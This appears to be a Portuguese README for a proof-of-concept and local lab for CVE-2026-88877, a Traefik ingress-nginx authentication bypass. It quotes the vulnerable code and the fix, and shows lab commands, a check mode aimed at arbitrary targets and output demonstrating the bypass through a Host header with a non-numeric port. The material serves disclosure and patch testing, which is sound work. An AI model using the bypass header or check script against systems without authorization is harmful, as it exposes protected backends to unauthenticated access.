
Prova de conceito e laboratório reproduzível para CVE-2026-88877, um bypass de autenticação do Traefik ingress-nginx via from-to-www-redirect, com um modo de verificação somente leitura.
v3.7.0–v3.7.11 — Bypass de autenticação via from-to-www-redirectAutor: pwnVader · Licença: MIT (raiz do repositório)
| Componente | Traefik (provider Kubernetes ingress-nginx, providers.kubernetesingressnginx) |
| Tipo | CWE-639 — Bypass de autorização através de chave controlada pelo usuário |
| Afetado | Traefik >= v3.7.0, <= v3.7.11 (v2 e < v3.7.0 não são afetados) |
| Corrigido | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Crítico, conforme o aviso do fornecedor) · CVSS 3.1 9.8 (conforme publicado por alguns bancos de dados de vulnerabilidades) |
| Aviso oficial | GHSA-cjr6-pf59-jq29 (aviso do repositório Traefik) |
| PoC | poc.sh · lab/ |
Status de divulgação. Esta vulnerabilidade foi divulgada publicamente pelo projeto Traefik e está corrigida na v3.7.12. Este documento é uma análise técnica independente com um laboratório reproduzível — não é a descoberta original. A vulnerabilidade foi reportada/divulgada através do aviso do fornecedor listado acima (ver também o aviso da VulnCheck). Não utilize este material contra sistemas sem autorização explícita.
Identificadores GHSA. O aviso oficial do repositório é GHSA-cjr6-pf59-jq29. O banco de dados genérico de avisos do GitHub também possui um registro separado, GHSA-9rch-gvf7-hrfc, para o mesmo problema; ao citar a vulnerabilidade, prefira o aviso do repositório.
Quando um Ingress carrega tanto uma anotação de autenticação (por exemplo,
nginx.ingress.kubernetes.io/auth-type: basic) quanto
nginx.ingress.kubernetes.io/from-to-www-redirect: "true", o provider ingress-nginx do Traefik
cria um router "irmão" extra que corresponde apenas ao host, carrega somente o middleware
RedirectRegex gerado e ainda aponta para o backend protegido:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex não é um handler terminal: se sua regex não corresponder, a requisição é passada
para o próximo handler e, por fim, encaminhada ao backend. A regex aceita apenas uma porta
numérica ((:[0-9]+)?), enquanto o matcher Host() do Traefik canoniza a autoridade através de
net.SplitHostPort. Uma requisição cujo cabeçalho Host tenha uma porta não numérica ou vazia,
portanto:
Host("www.example.com")), maswww.example.com:x), então não é redirecionada, eUma única requisição não autenticada — Host: www.example.com:x — alcança um backend que exige
autenticação. O status HTTP retornado depende do próprio backend: neste laboratório o backend
traefik/whoami responde 200, mas o fato relevante para a segurança é que a requisição
alcançou o backend sem autenticação, e não o código de status específico.
v3.7.0–v3.7.11 em execução com o provider ingress-nginx habilitado
(--providers.kubernetesingressnginx=true).nginx.ingress.kubernetes.io/from-to-www-redirect: "true", para um host sem contraparte www.
(caso contrário, o router irmão não é gerado).# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check também pode ser apontado para qualquer implantação candidata:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
O backend usado no laboratório (traefik/whoami) ecoa a requisição, provando que a requisição alcançou o
serviço protegido sem cabeçalho Authorization e sem middleware de autenticação aplicado. O código de
status exibido (200) é o que este backend específico retorna; com um backend diferente, o bypass pode
se manifestar como outra resposta que não seja 401/403/redirecionamento.
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
O router de redirecionamento agora aponta para um serviço interno unavailable, de modo que, mesmo
que uma requisição escape da regex, ela nunca poderá alcançar um backend protegido.
Atualize para Traefik v3.7.12 ou posterior. Instalações que não podem atualizar devem remover
temporariamente nginx.ingress.kubernetes.io/from-to-www-redirect de qualquer Ingress que combine
autenticação ou allowlists, e implementar o redirecionamento com uma configuração que preserve os
middlewares de controle de acesso (por exemplo, CRDs explícitos RedirectScheme/RedirectRegex do
Traefik com os middlewares anexados). Defesa em profundidade: também imponha autenticação no
backend/upstream.
Apenas para testes de segurança autorizados. O laboratório é local e autocontido; o modo check é
somente leitura (três requisições GET) e deve ser usado apenas contra sistemas que você possui ou está
explicitamente autorizado a testar.